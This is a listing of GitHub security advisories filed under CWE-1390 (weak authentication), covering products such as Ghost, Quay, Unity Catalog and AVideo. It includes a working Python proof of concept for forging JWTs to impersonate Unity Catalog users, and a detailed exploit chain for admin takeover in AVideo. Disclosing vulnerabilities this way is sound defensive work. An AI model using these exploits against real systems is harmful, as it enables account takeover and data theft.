CWE-1390
Allowed-with-ReviewWeak Authentication
Abstraction: Class · Status: Incomplete
The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct.
155 vulnerabilities reference this CWE, most recent first.
GHSA-PXV9-5JRR-RMRX
Vulnerability from github – Published: 2026-03-06 00:31 – Updated: 2026-03-06 00:31Sensitive information disclosure and manipulation due to improper authentication. The following products are affected: Acronis Cyber Protect 17 (Linux, Windows) before build 41186.
{
"affected": [],
"aliases": [
"CVE-2026-28710"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-06T00:16:11Z",
"severity": "HIGH"
},
"details": "Sensitive information disclosure and manipulation due to improper authentication. The following products are affected: Acronis Cyber Protect 17 (Linux, Windows) before build 41186.",
"id": "GHSA-pxv9-5jrr-rmrx",
"modified": "2026-03-06T00:31:35Z",
"published": "2026-03-06T00:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28710"
},
{
"type": "WEB",
"url": "https://security-advisory.acronis.com/advisories/SEC-9137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q373-F6GJ-MW99
Vulnerability from github – Published: 2024-06-17 00:31 – Updated: 2024-08-20 18:31Ghost through 5.85.1 allows remote attackers to bypass an authentication rate-limit protection mechanism by using many X-Forwarded-For headers with different values. NOTE: the vendor's position is that Ghost should be installed with a reverse proxy that allows only trusted X-Forwarded-For headers.
{
"affected": [],
"aliases": [
"CVE-2024-34451"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-16T22:15:09Z",
"severity": "CRITICAL"
},
"details": "Ghost through 5.85.1 allows remote attackers to bypass an authentication rate-limit protection mechanism by using many X-Forwarded-For headers with different values. NOTE: the vendor\u0027s position is that Ghost should be installed with a reverse proxy that allows only trusted X-Forwarded-For headers.",
"id": "GHSA-q373-f6gj-mw99",
"modified": "2024-08-20T18:31:15Z",
"published": "2024-06-17T00:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34451"
},
{
"type": "WEB",
"url": "https://docs.google.com/document/d/1iy0X4Vc9xXYoBxFrcW6ATo8GKPV6ivuLVzn6GgEpwqE"
},
{
"type": "WEB",
"url": "https://ghost.org/docs/faq/proxying-https-infinite-loops"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q5W3-WQPR-96VW
Vulnerability from github – Published: 2025-07-11 00:30 – Updated: 2025-07-11 00:30The protocol used for remote linking over RF for End-of-Train and Head-of-Train (also known as a FRED) relies on a BCH checksum for packet creation. It is possible to create these EoT and HoT packets with a software defined radio and issue brake control commands to the EoT device, disrupting operations or potentially overwhelming the brake systems.
{
"affected": [],
"aliases": [
"CVE-2025-1727"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-10T23:15:27Z",
"severity": "HIGH"
},
"details": "The protocol used for remote linking over RF for End-of-Train and \nHead-of-Train (also known as a FRED) relies on a BCH checksum for packet\n creation. It is possible to create these EoT and HoT packets with a \nsoftware defined radio and issue brake control commands to the EoT \ndevice, disrupting operations or potentially overwhelming the brake \nsystems.",
"id": "GHSA-q5w3-wqpr-96vw",
"modified": "2025-07-11T00:30:32Z",
"published": "2025-07-11T00:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1727"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-191-10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q6XP-M889-G8M7
Vulnerability from github – Published: 2024-03-09 06:30 – Updated: 2024-08-01 15:31An issue was discovered in Newland Nquire 1000 Interactive Kiosk version NQ1000-II_G_V1.00.011, allows remote attackers to escalate privileges and bypass authentication via incorrect access control in the web management portal.
{
"affected": [],
"aliases": [
"CVE-2023-49340"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-09T05:15:08Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Newland Nquire 1000 Interactive Kiosk version NQ1000-II_G_V1.00.011, allows remote attackers to escalate privileges and bypass authentication via incorrect access control in the web management portal.",
"id": "GHSA-q6xp-m889-g8m7",
"modified": "2024-08-01T15:31:31Z",
"published": "2024-03-09T06:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49340"
},
{
"type": "WEB",
"url": "https://github.com/n0obit4/Vulnerability_Disclosure/tree/main/CVE-2023-49340"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QPPJ-W5X7-CQX2
Vulnerability from github – Published: 2025-02-17 06:30 – Updated: 2025-02-17 06:30Orca HCM from LEARNING DIGITAL has an Improper Authentication vulnerability, allowing unauthenticated remote attackers to log in to the system as any user.
{
"affected": [],
"aliases": [
"CVE-2025-1387"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-17T04:15:08Z",
"severity": "CRITICAL"
},
"details": "Orca HCM from LEARNING DIGITAL has an Improper Authentication vulnerability, allowing unauthenticated remote attackers to log in to the system as any user.",
"id": "GHSA-qppj-w5x7-cqx2",
"modified": "2025-02-17T06:30:38Z",
"published": "2025-02-17T06:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1387"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8428-59a9a-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8427-daea8-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQCJ-RGHW-829X
Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.
Way to exploit:
An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token
This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.
Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.
Example
Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.
This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""
import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify
TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"
# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)
# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}
# Create malicious JWT
token = jwt.encode(
{"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
"iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
algorithm="RS256", headers={"kid": kid}
)
# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True
@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})
@app.route("/jwks")
def keys(): return jsonify(jwks)
threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)
# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"subject_token": token})
if resp.status_code == 200:
access_token = resp.json()["access_token"]
print(f"[+] Got access token as '{TARGET_USER}'")
# Demo: list catalogs
catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
headers={"Authorization": f"Bearer {access_token}"})
print(catalogs.json())
else:
print(f"[-] Failed: {resp.status_code} {resp.text}")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.unitycatalog:unitycatalog-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27478"
],
"database_specific": {
"cwe_ids": [
"CWE-1390",
"CWE-290",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T17:58:40Z",
"nvd_published_at": "2026-03-11T20:16:14Z",
"severity": "CRITICAL"
},
"details": "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n \"subject_token\": token})\n\nif resp.status_code == 200:\n access_token = resp.json()[\"access_token\"]\n print(f\"[+] Got access token as \u0027{TARGET_USER}\u0027\")\n # Demo: list catalogs\n catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(catalogs.json())\nelse:\n print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
"id": "GHSA-qqcj-rghw-829x",
"modified": "2026-05-11T17:58:40Z",
"published": "2026-05-11T17:58:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
},
{
"type": "PACKAGE",
"url": "https://github.com/unitycatalog/unitycatalog"
},
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation"
}
GHSA-QWVX-PMH3-3MJV
Vulnerability from github – Published: 2024-06-12 15:31 – Updated: 2024-06-12 15:31A vulnerability was found in Quay. If an attacker can obtain the client ID for an application, they can use an OAuth token to authenticate despite not having access to the organization from which the application was created. This issue is limited to authentication and not authorization. However, in configurations where endpoints rely only on authentication, a user may authenticate to applications they otherwise have no access to.
{
"affected": [],
"aliases": [
"CVE-2024-5891"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-12T14:15:12Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Quay. If an attacker can obtain the client ID for an application, they can use an OAuth token to authenticate despite not having access to the organization from which the application was created. This issue is limited to authentication and not authorization. However, in configurations where endpoints rely only on authentication, a user may authenticate to applications they otherwise have no access to.",
"id": "GHSA-qwvx-pmh3-3mjv",
"modified": "2024-06-12T15:31:45Z",
"published": "2024-06-12T15:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5891"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-5891"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2283879"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QXGC-WC3F-24C9
Vulnerability from github – Published: 2026-04-23 12:31 – Updated: 2026-04-23 12:31Borg SPM 2007 (Sales Ended in 2008) developed by BorG Technology Corporation has a Authentication Bypass vulnerability, allowing unauthenticated remote attackers to log into the system as any user.
{
"affected": [],
"aliases": [
"CVE-2026-6886"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T10:16:18Z",
"severity": "CRITICAL"
},
"details": "Borg SPM 2007 (Sales Ended in 2008)\u00a0developed by BorG Technology Corporation has a Authentication Bypass vulnerability, allowing unauthenticated remote attackers to log into the system as any user.",
"id": "GHSA-qxgc-wc3f-24c9",
"modified": "2026-04-23T12:31:34Z",
"published": "2026-04-23T12:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6886"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10863-2f48e-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10861-b8709-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QXVM-R42F-5P8J
Vulnerability from github – Published: 2026-05-15 18:17 – Updated: 2026-05-15 18:17Summary
Type: Authorization-bypass via user-controlled identifier. The Meet plugin's recorded-video upload endpoint (plugin/Meet/uploadRecordedVideo.json.php) authenticates the caller using a single shared Authorization: Bearer <secret> against $objM->secret. Once that check passes, the endpoint reads the target user identifier from the uploaded file's name field, instantiates a User object with that ID, and calls $userObject->login(true, true) — the no-password / encoded-password login path — committing a session for that user and emitting Set-Cookie headers to the caller. There is no check that the caller actually owns the requested users_id.
File: plugin/Meet/uploadRecordedVideo.json.php, lines 56-65; secondary in objects/user.php User::login() (no-password branch at lines 1276-1310).
Root cause: the upload handler's identity model is "service-to-service" (a Meet/Jitsi recorder posts a finished recording back to AVideo with the shared secret) but the users_id to credit the upload to is parsed from the FILENAME the same caller controls — $users_id = explode('-', $_FILES['upl']['name'])[0];. There is no signed claim, no separate proof-of-identity, no allowlist. The subsequent $userObject->login(true, true) call invokes the no-password login path which sets $_SESSION['user'], calls setUserCookie(...), and _session_regenerate_id() — exactly the operations a normal login performs. The response carries the new PHPSESSID back to the caller, who can then reuse it on every subsequent request to act as the targeted user. The Meet shared secret is md5($global['systemRootPath'] . $global['salt'] . "meet") (Meet.php:73), so any attacker who can read videos/configuration.php (e.g., via a path-traversal CVE such as GHSA-83xq-8jxj-4rxm or GHSA-4wmm-6qxj-fpj4 that the project has already addressed in this surface area) can compute the Meet secret deterministically and pivot to full account takeover.
Affected Code
File: plugin/Meet/uploadRecordedVideo.json.php, lines 33-73.
if (empty($token)) {
forbiddenPage('Token not found');
}
$objM = AVideoPlugin::getObjectDataIfEnabled("Meet");
if (empty($objM)) {
forbiddenPage('Plugin disabled');
}
if ($objM->secret != $token) { // <-- shared-secret auth, no per-user proof
forbiddenPage('Token does not match');
}
if (empty($_FILES['upl'])) {
forbiddenPage('videoFile not found');
}
$users_id = explode('-', $_FILES['upl']['name'])[0]; // <-- BUG: target users_id parsed from attacker-controlled filename
$userObject = new User($users_id);
$userObject->login(true, true); // <-- BUG: passwordless login as the chosen user; sets $_SESSION + Set-Cookie
$tmpFile = getTmpDir() . uniqid();
if (move_uploaded_file($_FILES['upl']['tmp_name'], $tmpFile)) {
$_FILES['upl']['tmp_name'] = $tmpFile;
require $global['systemRootPath'] . 'objects/aVideoQueueEncoder.json.php';
}
File: objects/user.php, lines 1249-1329 (User::login() no-password branch).
public function login($noPass = false, $encodedPass = false, $ignoreEmailVerification = false)
{
// ...
if ($noPass) {
$user = $this->find($this->user, false, true); // <-- no password check
}
// ...
} elseif ($user) {
$_SESSION['user'] = $user; // <-- session set for the impersonated user
$this->setLastLogin($_SESSION['user']['id']);
// ...
self::setUserCookie($rememberme, $user['id'], $user['user'], $passhash, $expires);
AVideoPlugin::onUserSignIn($_SESSION['user']['id']);
$_SESSION['loginAttempts'] = 0;
_session_regenerate_id(); // <-- new SID committed in Set-Cookie response
_session_write_close();
return self::USER_LOGGED;
}
}
Why it's wrong: the endpoint conflates two distinct authentication concerns. The shared-secret check answers "is this request coming from a trusted Meet recorder?" but the filename parse answers "which user does this recording belong to?" — and the second answer is taken from the same untrusted caller. Once User->login(true, true) runs, the server has no way to distinguish a legitimate Meet integration from an attacker who happens to know the same secret. The decision to expose this as a session (cookie + _session_regenerate_id) rather than as a one-shot in-process credit makes the impact larger than it needs to be: even if the Meet integration only needed to credit the recording to a user, the implementation gives the caller a fully-authenticated session as that user.
Exploit Chain
- Attacker obtains the Meet shared secret. Two plausible paths:
- Path A (computational): the secret is
md5($global['systemRootPath'] . $global['salt'] . "meet")(plugin/Meet/Meet.php:73). Both inputs sit invideos/configuration.php. AVideo's history of LFI/path-traversal CVEs in this surface (e.g., theimport.json.phpandlistFiles.json.phpadvisories already accepted on this program) means the salt is a realistic disclosure target. - Path B (timing oracle):
plugin/Meet/checkToken.json.phpline 26 doesif ($objM->secret === $_GET['secret'])with no constant-time comparison and a clear yes/no response body. PHP's===for strings short-circuits on first byte mismatch, so an attacker on the same network segment can recover the 32-hex secret byte-by-byte over the network with timing analysis. Slower than path A but doesn't depend on a separate vulnerability. - Attacker prepares an HTTP POST to
/plugin/Meet/uploadRecordedVideo.json.php: Authorization: Bearer <Meet secret>- Multipart body with one file field named
upl. The filename is set to1-anything.mp4(where1is theusers_idof the admin or any target user — the format is<users_id>-<arbitrary>). The file body itself can be anything that survives the surrounding aVideoQueueEncoder pipeline (an empty file is enough to reach the login call before the encoder rejects). - Server flow:
- Line 33: token present, ok.
- Line 46:
$objM->secret != $token→ false (matches), passes. - Line 51:
$_FILES['upl']present, ok. - Line 56:
$users_id = explode('-', '1-anything.mp4')[0]→'1'. - Line 59-60:
$userObject = new User(1); $userObject->login(true, true);— passwordless login as user 1 (admin).$_SESSION['user']is set,setUserCookieruns,_session_regenerate_idissues a new session ID, and the response carriesSet-Cookie: PHPSESSID=<new-sid>; .... - Subsequent code runs the encoder pipeline as admin — but the attacker's primary goal was already achieved when the session was established.
- Attacker captures the
Set-Cookie: PHPSESSID=...header from the response and uses that cookie on all subsequent requests. Server treats them as user 1 (admin) — full UI access, all admin endpoints, all video management, plugin configuration, user impersonation, etc. - Final state: admin account takeover. The original Meet recorder's flow (legitimate uploads with
users_id= the user who scheduled the meeting) is indistinguishable on the wire from the attack flow (users_id= whoever the attacker wants to be).
Security Impact
Severity: sec-high. End state is full account takeover of any user (including admin), reachable from a single HTTP POST once the secret is known. The shared-secret precondition raises AC to High but does not eliminate it as a credible threat — the secret is computable from any leak of videos/configuration.php, and AVideo's CVE history in that surface area is non-trivial.
Attacker capability: session hijack as any users_id the attacker cares to name. The attacker chooses the target by setting the filename's leading digits before the first -. No bound on which user IDs are reachable; admin (1 on a default install) is the obvious target. Once the session is captured, the attacker has full admin UI/API access for the session lifetime (hours-to-days depending on rememberme flag).
Preconditions: Meet plugin enabled (default-off but commonly enabled by deployments using AVideo for video-conferencing recording). Knowledge of the Meet shared secret (computable from the salt; obtainable via timing attack on checkToken.json.php).
Differential: source-inspection-verified end-to-end. The two relevant code blocks are quoted verbatim in §Affected Code; both lines are reachable on every successful POST to the endpoint. The patched build (with the suggested fix below) either rejects the upload as 'cannot derive identity from filename' or constrains the users_id to one bound by an additional signed claim from the Meet recorder.
Suggested Fix
Three changes, in order of importance:
--- a/plugin/Meet/uploadRecordedVideo.json.php
+++ b/plugin/Meet/uploadRecordedVideo.json.php
@@ -53,17 +53,28 @@ if (empty($_FILES['upl'])) {
forbiddenPage('videoFile not found');
}
-$users_id = explode('-', $_FILES['upl']['name'])[0];
+// The users_id MUST come from a signed claim (e.g., a JWT issued by AVideo
+// when the meeting was scheduled), not from a filename the caller controls.
+// Verify a recording-upload token here that was minted at meeting-create
+// time and bound to (meet_schedule_id, users_id) with an HMAC.
+$claim = MeetUploadClaim::verifyFromHeaders($headers);
+if (!$claim) {
+ forbiddenPage('Missing or invalid recording upload claim');
+}
+$users_id = (int) $claim->users_id;
+if (!$users_id || !User::idExists($users_id)) {
+ forbiddenPage('Recording upload claim references unknown user');
+}
-$userObject = new User($users_id);
-$userObject->login(true, true);
+// Credit the upload to $users_id WITHOUT establishing a session. The encoder
+// pipeline can be parameterised to record ownership directly; there is no
+// reason for a service-to-service upload endpoint to mint a user session.
+$queueOwnerUsersId = $users_id;
$tmpFile = getTmpDir() . uniqid();
if (move_uploaded_file($_FILES['upl']['tmp_name'], $tmpFile)) {
$_FILES['upl']['tmp_name'] = $tmpFile;
- require $global['systemRootPath'] . 'objects/aVideoQueueEncoder.json.php';
+ aVideoQueueEncoder::encodeOnBehalfOf($queueOwnerUsersId, $_FILES['upl']);
}
Additionally:
- Use
hash_equalsfor the secret comparison in both this endpoint andcheckToken.json.php(if (!hash_equals($objM->secret, $token))). The current==/===is vulnerable to byte-by-byte timing analysis. - Remove
checkToken.json.phpentirely, or at least gate it behindUser::isAdmin(). A network-reachable endpoint that confirms whether a guess matches the server-side secret is exactly the wrong shape for a high-value secret like this one.
Optional defense-in-depth (separate change): rotate the Meet secret to use a random 256-bit value (not derived from salt), so a videos/configuration.php disclosure does not also yield the Meet secret. Store the random secret as a per-deployment row in the Meet plugin's configuration table, generated at first-run.
Add a regression test: call uploadRecordedVideo.json.php with the correct secret but a filename of 1-x.mp4; assert the response does NOT include a Set-Cookie: PHPSESSID= header.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "WWBN/AVideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1390",
"CWE-287",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T18:17:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n**Type:** Authorization-bypass via user-controlled identifier. The Meet plugin\u0027s recorded-video upload endpoint (`plugin/Meet/uploadRecordedVideo.json.php`) authenticates the caller using a single shared `Authorization: Bearer \u003csecret\u003e` against `$objM-\u003esecret`. Once that check passes, the endpoint reads the *target user identifier* from the uploaded file\u0027s `name` field, instantiates a `User` object with that ID, and calls `$userObject-\u003elogin(true, true)` \u2014 the no-password / encoded-password login path \u2014 committing a session for that user and emitting `Set-Cookie` headers to the caller. There is no check that the caller actually owns the requested `users_id`.\n**File:** `plugin/Meet/uploadRecordedVideo.json.php`, lines 56-65; secondary in `objects/user.php` `User::login()` (no-password branch at lines 1276-1310).\n**Root cause:** the upload handler\u0027s identity model is \"service-to-service\" (a Meet/Jitsi recorder posts a finished recording back to AVideo with the shared secret) but the `users_id` to credit the upload to is parsed from the FILENAME the same caller controls \u2014 `$users_id = explode(\u0027-\u0027, $_FILES[\u0027upl\u0027][\u0027name\u0027])[0];`. There is no signed claim, no separate proof-of-identity, no allowlist. The subsequent `$userObject-\u003elogin(true, true)` call invokes the no-password login path which sets `$_SESSION[\u0027user\u0027]`, calls `setUserCookie(...)`, and `_session_regenerate_id()` \u2014 exactly the operations a normal login performs. The response carries the new `PHPSESSID` back to the caller, who can then reuse it on every subsequent request to act as the targeted user. The Meet shared secret is `md5($global[\u0027systemRootPath\u0027] . $global[\u0027salt\u0027] . \"meet\")` (`Meet.php:73`), so any attacker who can read `videos/configuration.php` (e.g., via a path-traversal CVE such as `GHSA-83xq-8jxj-4rxm` or `GHSA-4wmm-6qxj-fpj4` that the project has already addressed in this surface area) can compute the Meet secret deterministically and pivot to full account takeover.\n\n## Affected Code\n\n**File:** `plugin/Meet/uploadRecordedVideo.json.php`, lines 33-73.\n\n```php\nif (empty($token)) {\n forbiddenPage(\u0027Token not found\u0027);\n}\n\n$objM = AVideoPlugin::getObjectDataIfEnabled(\"Meet\");\nif (empty($objM)) {\n forbiddenPage(\u0027Plugin disabled\u0027);\n}\n\nif ($objM-\u003esecret != $token) { // \u003c-- shared-secret auth, no per-user proof\n forbiddenPage(\u0027Token does not match\u0027);\n}\n\nif (empty($_FILES[\u0027upl\u0027])) {\n forbiddenPage(\u0027videoFile not found\u0027);\n}\n\n$users_id = explode(\u0027-\u0027, $_FILES[\u0027upl\u0027][\u0027name\u0027])[0]; // \u003c-- BUG: target users_id parsed from attacker-controlled filename\n\n$userObject = new User($users_id);\n$userObject-\u003elogin(true, true); // \u003c-- BUG: passwordless login as the chosen user; sets $_SESSION + Set-Cookie\n$tmpFile = getTmpDir() . 